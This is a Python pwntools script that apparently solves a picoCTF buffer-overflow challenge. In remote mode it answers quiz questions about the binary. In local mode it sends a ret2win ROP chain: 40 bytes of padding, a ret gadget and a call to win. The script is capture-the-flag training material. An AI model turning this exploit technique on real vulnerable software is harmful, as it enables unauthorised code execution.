#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"

from pwn import *

exe = ELF("./vuln")

context.binary = exe

ADDR, PORT, *_ = "lonely-island.picoctf.net 54976".split()

def conn() -> remote:
    if args.REMOTE:
        r = remote(ADDR, PORT)
    else:
        r = process([exe.path])

    return r

def answers(r: remote) -> None:
  print('Q1')
  r.sendlineafter(b">> ", b"64-bit")
  print('Q2')
  r.sendlineafter(b">> ", b"dynamic")
  print('Q3')
  r.sendlineafter(b">> ", b"not stripped")
  print('Q4')
  r.sendlineafter(b">> ", b"0x15")
  print('Q5')
  r.sendlineafter(b">> ", b"0x90")
  print('Q6')
  r.sendlineafter(b">> ", b"yes")
  print('Q7')
  r.sendlineafter(b">> ", b"fgets")
  print('Q8')
  r.sendlineafter(b">> ", b"win")
  print('Q9')
  r.sendlineafter(b">> ", b"buffer overflow")
  print('Q10')
  r.sendlineafter(b">> ", hex(0x90 - 0x15).encode())
  print('Q11')
  r.sendlineafter(b">> ", b"NX")
  print('Q12')
  r.sendlineafter(b">> ", b"ROP")
  print('Q13')
  r.sendlineafter(b">> ", hex(exe.symbols['win']).encode())
  print('Q14')
  result = r.recvline_contains(b"picoCTF{").decode().strip()
  print(result)
  r.close()

def main() -> None:

    r = conn()
    if args.REMOTE:
        answers(r)
    else:
        offset = 40

        rop = ROP(exe)
        rop.raw(rop.generatePadding(0, offset))
        rop.raw(rop.ret.address)
        rop.win()
        r.sendline(rop.chain())

        print(r.recvall().decode(), end='')
        r.close()

if __name__ == "__main__":
    main()